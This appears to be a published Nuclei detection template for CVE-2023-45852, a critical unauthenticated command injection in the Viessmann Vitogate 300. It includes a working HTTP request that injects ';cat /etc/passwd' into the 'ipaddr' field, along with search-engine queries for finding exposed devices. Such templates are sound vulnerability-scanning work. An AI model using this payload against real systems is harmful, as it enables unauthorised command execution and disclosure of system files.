Viessmann Vitogate 300 - Remote Code Execution

ID: CVE-2023-45852

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve2023,cve,rce,vitogate,viessmann

Description

In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.

YAML Source

id: CVE-2023-45852

info:
  name: Viessmann Vitogate 300 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
  reference:
    - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
    - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852
    - https://github.com/tanjiti/sec_profile
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-45852
    cwe-id: CWE-77
    epss-score: 0.10555
    epss-percentile: 0.95011
    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: viessmann
    product: vitogate_300_firmware
    shodan-query:
      - title:"Vitogate 300"
      - http.title:"vitogate 300"
    fofa-query:
      - title="Vitogate 300"
      - title="vitogate 300"
    google-query: intitle:"vitogate 300"
  tags: cve2023,cve,rce,vitogate,viessmann

http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(header, "application/json")'
          - 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
        condition: and
# digest: 490a004630440220566d955ffe788e0ab391a8ce16ea3c1255fc319017b3803b6dd5baa0727ea50b0220079a1134ec6de3fade3227d4230be37806eea653a8bb39bd05cdf167dce3c9e3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-45852.yaml"

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